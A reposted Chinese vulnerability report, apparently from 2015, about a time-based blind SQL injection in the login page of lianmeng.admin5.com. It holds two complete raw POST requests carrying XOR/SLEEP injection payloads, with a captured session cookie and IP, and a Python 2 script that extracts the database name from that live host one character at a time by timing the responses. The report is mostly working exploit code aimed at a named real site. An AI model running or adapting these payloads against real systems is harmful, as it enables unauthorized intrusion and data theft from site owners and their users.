专栏首页逸鹏说道【延迟注入】A5站长网某站存在SQL注入漏洞

【延迟注入】A5站长网某站存在SQL注入漏洞

A5站长网某站存在SQL注入漏洞(附验证脚本)

详细说明:

code 区域

POST /Login/login HTTP/1.1
Host: lianmeng.admin5.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%221c320e29cca506504514677a0d5fd96d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22210.74.157.98%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A65%3A%22Mozilla%2F5.0+%28Windows+NT+5.1%3B+rv%3A40.0%29+Gecko%2F20100101+Firefox%2F40.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1445589426%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Db420bfdef11a47e249791b34c8cf9b670d135b57; CNZZDATA1253702959=369810679-1445589126-%7C1445589126
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 106

change=&password=g00dPa%24%24w0rD&username='XOR(if(now()=sysdate(),SLEEP(IF(length(database())=11,5,0)),0))OR'

延迟注入 为真时,延迟5秒,db长度为11:

为假时,不延迟:

db的第一位为l(ascii:108)

code 区域

POST /Login/login HTTP/1.1
Host: lianmeng.admin5.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%221c320e29cca506504514677a0d5fd96d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22210.74.157.98%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A65%3A%22Mozilla%2F5.0+%28Windows+NT+5.1%3B+rv%3A40.0%29+Gecko%2F20100101+Firefox%2F40.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1445589426%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Db420bfdef11a47e249791b34c8cf9b670d135b57; CNZZDATA1253702959=369810679-1445589126-%7C1445589126
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114

change=&password=g00dPa%24%24w0rD&username='XOR(if(now()=sysdate(),SLEEP(IF(ascii(mid(database(),1,1))=108,5,0)),0))OR'

code 区域

#encoding=utf-8

import httplib

import time

import string

import sys

import random

import urllib

import math


headers = {'Content-Type':'application/x-www-form-urlencoded'}

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'

print 'Start to retrive MySQL DB:'

db= ''

for i in range(1, 12):

    for payload in payloads:

            #time.sleep(5)    #5秒来一发

            s = "change=&password=g00dParD&username='XOR(if(now()=sysdate(),SLEEP(IF(ascii(mid(database(),%s,1))=%s,3,0)),0))OR'" % (i, ord(payload))

            conn = httplib.HTTPConnection('lianmeng.admin5.com', timeout=150)

            conn.request(method='POST',

                         url='/Login/login',
                         body=s,
                         headers=headers)

            start_time = time.time()

            conn.getresponse()

            conn.close()

            print '.',

            if time.time() - start_time > 3.0:

                db += payload

                print '\n\n[in progress]', db,
                break
print '\n\n[Done] MySQL DB is %s' % db

本文分享自微信公众号 - 我为Net狂(dotNetCrazy),作者:中央军

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2015-10-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Python3 与 NetCore 基础语法对比(就当Python和C#基础的普及吧)

    VSCode设置python3的开发环境(linux下默认是python2)https://www.cnblogs.com/dotnetcrazy/p/9095...

    逸鹏
  • Ubuntu18.04下给Jupyter-NoteBook设置默认工作路径

    生成配置文件:jupyter-notebook --generate-config

    逸鹏
  • 使用fiddler模拟http请求

    以前看见过,没发,现在又看见了,向大家推荐一下: 概述 与httpwath相比,fiddler能模拟http请求、能断点调试、http分析统计吸引了我,...

    逸鹏
  • springboot Actuator

    springboot Actuator只需要加入依赖即可使用: <dependency> <groupId>org.springframework.bo...

    yawn
  • 万方数据库,文献下载的准备

     ###后来文献下载任务完成了 ,相关的代码,细节,介绍看这篇文章 https://www.jianshu.com/p/134530b46a65

    东风冷雪
  • python3爬虫(4)各种网站视频下载

    理论上来讲只要是网上(浏览器)能看到图片,音频,视频,都能够下载下来,然而实际操作的时候也是有一定难度和技术的,这篇文章主要讲述各个网站视频资源如何下载。

    py3study
  • 百家号爬取(2)

    https://mbd.baidu.com/webpage?type=homepage&action=interact&format=jsonp&params=...

    Centy Zhao
  • Logstash解析嵌套Json

    由于我们的埋点日志是嵌套json类型,要想最终所有字段展开来统计分析就必须把嵌套json展开。

    神秘的寇先森
  • 【Go 语言社区】GO中怎么处理URL编码?

    package main import( "fmt" "net/url") func main(){ var URL = "%5B%7...

    李海彬
  • 如何让你在众多二手车中挑中满意的?python帮你实现(附源码)

    老司机带你去看车,网上的几千条的二手车数据,只需几十行代码,就可以统统获取,保存数据到我们本地电脑上

    松鼠爱吃饼干

扫码关注云+社区

领取腾讯云代金券